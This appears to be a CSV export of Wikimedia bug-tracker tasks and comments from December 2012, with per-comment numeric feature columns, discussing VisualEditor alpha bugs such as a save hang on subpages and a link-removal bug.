44988,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","[Wikitech-l] Alpha version of the VisualEditor now available on the English Wikipedia

I tried it on enwiki in my sandbox. 

It does not work: when I want to ""Review and save"" a box pops up ""Review your changes"" --- but nothing happens.

* MediaWiki 	1.21wmf5 (f4a44f9)
* VisualEditor (Version 0.1.0) 	(2e6425a)

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1355299800,1355429392.0,PHID-USER-ppvnwr24o32pux3le5ov,False,,False,PHID-TASK-vhisdvekk4sgvgkkuben,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,1.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,16.0,1.0,2.0,3.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,7.0,7.0,12.0,0.0,4.0,0.0,7.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,3.652173913043478,0.6630434782608695,"[Wikitech-l] Alpha version of the VisualEditor now available on the English Wikipedia

I tried it on enwiki in my sandbox. 

It does not work: when I want to ""Review and save"" a box pops up ""Review your changes"" --- but nothing happens.

* MediaWiki 	1.21wmf5 (f4a44f9)
* VisualEditor (Version 0.1.0) 	(2e6425a)

--------------------------
**Version**: unspecified
**Severity**: normal"
199758,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","For completeness: This was fixed in https://gerrit.wikimedia.org/r/38382, because I broke new page creation in the Selective Serializer by not properly handling the error that was raised on not finding page content. Sorry about that folks, there was some turbulence, but we're looking to arrive at our destination ahead of schedule.",,,1355515620,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,2.0,0.0,0.0,4.0,4.0,2.0,0.0,2.0,0.0,0.0,4.0,2.0,0.0,0.0,2.0,5.0,0.0,7.0,19.0,0.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,5.0,12.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,4.508771929824562,0.8245614035087719,"For completeness: This was fixed in GERRIT_URL, because I broke new page creation in the Selective Serializer by not properly handling the error that was raised on not finding page content. Sorry about that folks, there was some turbulence, but we're looking to arrive at our destination ahead of schedule."
199752,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","Just a note: this affected all page creations, not just subpages. The selective serializer mode did not deal properly with the fetch failure for the original (non-existing) page source.",,,1355436359,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,3.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,24.0,3.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,5.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.243243243243243,0.8918918918918919,"Just a note: this affected all page creations, not just subpages. The selective serializer mode did not deal properly with the fetch failure for the original (non-existing) page source."
199746,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them",Happy to help. :-),,,1355436247,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Happy to help. :-)
199741,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","@James Yes I confirm that it now works for me on my subpage ! Well and quickly fixed.

:-)",,,1355434816,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,5.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,10.0,0.0,0.0,19.0,14.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,3.7142857142857144,1.0,"SCREEN_NAME Yes I confirm that it now works for me on my subpage ! Well and quickly fixed.

:-)"
199735,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","This appears to now be fixed, following an update to the Parsoid service yesterday; I can now edit and create articles with ""/""s in their title. Closing as fixed.",,,1355429392,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,6.0,3.0,12.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,6.0,15.0,6.0,0.0,3.0,0.0,6.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.9411764705882355,0.8823529411764706,"This appears to now be fixed, following an update to the Parsoid service yesterday; I can now edit and create articles with ""/""s in their title. Closing as fixed."
199731,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","There are going to be lots of things that are broken... that's why it's an experimental alpha release. It works on lots of pages but it still doesn't on lots of others. Personally I'd say the hype is valid but so are the huge cautions of how many things don't work :). 

Roan et.al: After some quick experimentation this looks like a possible issues with sub pages in general. The 'hang and not do anything' error that Wikinaut is talking about happens when you're trying to create the subpage (Also experienced it trying to create a subpage in mainspace with the VE). If you try to edit a subpage with VE after it already existed (was created with normal editor) then you get a pop up warning ""Error loading data from server: Server error. Would you like to retry?"". Trying a couple times on a couple different pages the situation appears to be the same each time.

Tested pages:

User:Jalexander/sandbox
Wikipedia/History?redirect=no
User:Wikinaut/sandbox
Wikipedia/test

I can do screenshots if you need them easily.",,,1355357679,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,1.0,0.3333333333333333,0.0,0.6666666666666666,1.0,3.6666666666666665,1.0,0.0,0.0,0.6666666666666666,0.6666666666666666,2.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,4.333333333333333,10.0,0.3333333333333333,2.3333333333333335,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,6.0,0.0,1.6666666666666667,0.6666666666666666,2.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,14.333333333333334,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,5.0,2.6666666666666665,10.0,2.0,1.0,6.666666666666667,0.0,0.3333333333333333,0.0,0.0,4.0,0.0,0.0,0.0,4.666666666666667,10.0,5.666666666666667,0.3333333333333333,1.3333333333333333,0.0,4.666666666666667,0.0,1.3333333333333333,2.6666666666666665,0.3333333333333333,2.0,0.0,0.0,0.0,3.8644946316179194,0.7283722078242626,"There are going to be lots of things that are broken... that's why it's an experimental alpha release. It works on lots of pages but it still doesn't on lots of others. Personally I'd say the hype is valid but so are the huge cautions of how many things don't work :). 

Roan et.al: After some quick experimentation this looks like a possible issues with sub pages in general. The 'hang and not do anything' error that Wikinaut is talking about happens when you're trying to create the subpage (Also experienced it trying to create a subpage in mainspace with the VE). If you try to edit a subpage with VE after it already existed (was created with normal editor) then you get a pop up warning ""Error loading data from server: Server error. Would you like to retry?"". Trying a couple times on a couple different pages the situation appears to be the same each time.

Tested pages:

User:Jalexander/sandbox
Wikipedia/History?redirect=no
User:Wikinaut/sandbox
Wikipedia/test

I can do screenshots if you need them easily."
199728,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","Big hype about non working VE...

this page does not work with VE https://en.wikipedia.org/wiki/User:Wikinaut/sandbox",,,1355355946,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.5625,0.9375,"Big hype about non working VE...

this page does not work with VE URL"
199724,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","(In reply to comment #6)
> VE alpha == not mature yet
That's what we've been telling everyone all along. There's a reason we called it an alpha release ;)

Could you link to the page that was failing for you?",,,1355338217,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,4.0,0.0,4.0,9.0,2.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,2.0,2.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,13.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,7.0,4.0,11.0,0.0,0.0,9.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,13.0,9.0,0.0,2.0,0.0,0.0,13.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,3.347826086956522,0.8913043478260869,"(In reply to comment #6)
QUOTE
That's what we've been telling everyone all along. There's a reason we called it an alpha release ;)

Could you link to the page that was failing for you?"
199720,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","I tried other pages, saw different page formatting when using template {{ok}}  and got immediately 

+ ""Error loading data from server: Unsuccessful request: Error contacting the Parsoid server""

when trying to edit and ""Review and save""

VE alpha == not mature yet",,,1355309356,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.0,9.0,3.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,3.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,3.0,5.0,0.0,7.0,0.0,2.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,3.896551724137931,0.7586206896551724,"I tried other pages, saw different page formatting when using template {{ok}}  and got immediately 

+ ""Error loading data from server: Unsuccessful request: Error contacting the Parsoid server""

when trying to edit and ""Review and save""

VE alpha == not mature yet"
199717,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","@James

+ works on my User page
+ does not work on User:username/Sandbox page (personal link portlet ""Sandbox"")

I modified the bug title.",,,1355302660,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,6.0,11.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5428571428571427,0.8,"SCREEN_NAME

+ works on my User page
+ does not work on User:username/Sandbox page (personal link portlet ""Sandbox"")

I modified the bug title."
199713,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","Not totally sure what's up with the Firefox piece other then see if you can try again a couple minutes later or another page (though your sandbox shouldn't be a problem) so I'll leave that for JamesF and the VE crew ;). 

For IE 8, however, it's likely because VE isn't supported in IE8 yet ( per https://en.wikipedia.org/wiki/Wikipedia:VisualEditor#Current_limitations Chrome/Firefox/Safari only). If I remember correctly it's because it actually needs a fair bit of refactoring specifically for IE (and possibly only 9 and 10 and never 8) because it handles things totally differently.",,,1355301776,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,1.5,1.0,2.0,3.0,0.5,2.5,0.5,1.5,1.5,2.0,0.0,2.0,0.0,1.5,1.0,13.0,10.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,6.0,1.5,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,3.0,1.5,11.5,5.0,4.5,4.0,0.0,0.5,0.0,0.0,2.0,0.0,2.5,0.0,5.5,10.0,8.0,0.0,0.0,0.0,5.5,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,3.8125,0.875,"Not totally sure what's up with the Firefox piece other then see if you can try again a couple minutes later or another page (though your sandbox shouldn't be a problem) so I'll leave that for JamesF and the VE crew ;). 

For IE 8, however, it's likely because VE isn't supported in IE8 yet ( per URL Chrome/Firefox/Safari only). If I remember correctly it's because it actually needs a fair bit of refactoring specifically for IE (and possibly only 9 and 10 and never 8) because it handles things totally differently."
199710,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them","IE8 shows errors
Details zum Fehler auf der Webseite

Benutzer-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
Zeitstempel: Wed, 12 Dec 2012 08:18:19 UTC


Meldung: Bezeichner, Zeichenfolge oder Zahl erwartet
Zeile: 5
Zeichen: 746
Code: 0
URI: https://bits.wikimedia.org/en.wikipedia.org/load.php?debug=false&lang=en&modules=ext.visualEditor.core%2Cicons-raster%7Cext.visualEditor.viewPageTarget.icons-raster%7Cjquery.multiSuggest%7Crangy&skin=vector&version=20121212T032708Z&*",,,1355300330,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,33.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.902439024390244,0.6951219512195121,"IE8 shows errors
Details zum Fehler auf der Webseite

Benutzer-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)
Zeitstempel: Wed, 12 Dec 2012 08:18:19 UTC


Meldung: Bezeichner, Zeichenfolge oder Zahl erwartet
Zeile: 5
Zeichen: 746
Code: 0
URI: URL"
199705,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them",http://i.imgur.com/gsL16.png,,,1355300009,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
199699,"VisualEditor: Parsoid call on ""Review and save"" slide hangs for pages with ""/""s in them",* Firefox 17.0.1,,,1355299935,,PHID-USER-ppvnwr24o32pux3le5ov,False,,,PHID-TASK-vhisdvekk4sgvgkkuben,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.666666666666667,1.0,* Firefox 17.0.1
44937,VisualEditor: Removing copy/pasted link annotations removes the original as well,"1. Add a link to some text
2. Copy the text
3. Paste the text somewhere else
4. Remove the link using the link inspector's trash icon
5. See that both links are gone

--------------------------
**Version**: unspecified
**Severity**: major",High,80.0,1355191860,1355193795.0,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,False,PHID-TASK-rifozrrb2mk5wki2qrw4,task_description,resolved,True,c1,1,False,False,True,-29,,2.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,2.0,11.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.338709677419355,0.6129032258064516,"1. Add a link to some text
2. Copy the text
3. Paste the text somewhere else
4. Remove the link using the link inspector's trash icon
5. See that both links are gone

--------------------------
**Version**: unspecified
**Severity**: major"
196764,VisualEditor: Removing copy/pasted link annotations removes the original as well,Now landed in master.,,,1355193795,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rifozrrb2mk5wki2qrw4,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Now landed in master.
196758,VisualEditor: Removing copy/pasted link annotations removes the original as well,Fixed in gerrit 38009.,,,1355192089,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-rifozrrb2mk5wki2qrw4,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8,1.0,Fixed in gerrit 38009.
44806,VisualEditor: Type mismatch when inserting unbalanced content,"**Author:** `orbit`

**Description:**
Steps to reproduce:
1. Copy part of a headline and part of a following paragraph
2. Paste into a paragrah

The linmod being inserted will look something like this:
[""s"", ""u"", ""m"", ""?"", Object, Object, ""C"", ""o"", ""n"", ""t""]

The objects are closing heading and opening paragraph.

The error is in ve.dm.Document.js on 1145.

--------------------------
**Version**: unspecified
**Severity**: normal",High,80.0,1354837920,1354916275.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-upsvylaxm2favfgmiub4,task_description,resolved,True,c1,0,False,False,True,-30,,0.0,0.5,0.0,0.5,0.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,0.5,1.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,2.0,9.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.5,4.0,4.0,1.0,11.0,0.0,0.5,0.0,0.0,1.5,0.0,1.0,0.0,0.0,1.5,3.056451612903226,0.5887096774193548,"**Author:** CODE

**Description:**
Steps to reproduce:
1. Copy part of a headline and part of a following paragraph
2. Paste into a paragrah

The linmod being inserted will look something like this:
[""s"", ""u"", ""m"", ""?"", Object, Object, ""C"", ""o"", ""n"", ""t""]

The objects are closing heading and opening paragraph.

The error is in ve.dm.Document.js on 1145.

--------------------------
**Version**: unspecified
**Severity**: normal"
189635,VisualEditor: Type mismatch when inserting unbalanced content,Now merged into master.,,,1354916275,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,True,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Now merged into master.
189627,VisualEditor: Type mismatch when inserting unbalanced content,Id9269a29e51ca213508de8f155d3feec5e5b0774 should resolve this,,,1354907772,,PHID-USER-mpfqwllylfkzpcgkdkvc,False,,,PHID-TASK-upsvylaxm2favfgmiub4,task_subcomment,,True,c1,0,False,,,-30,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.5,1.0,Id9269a29e51ca213508de8f155d3feec5e5b0774 should resolve this
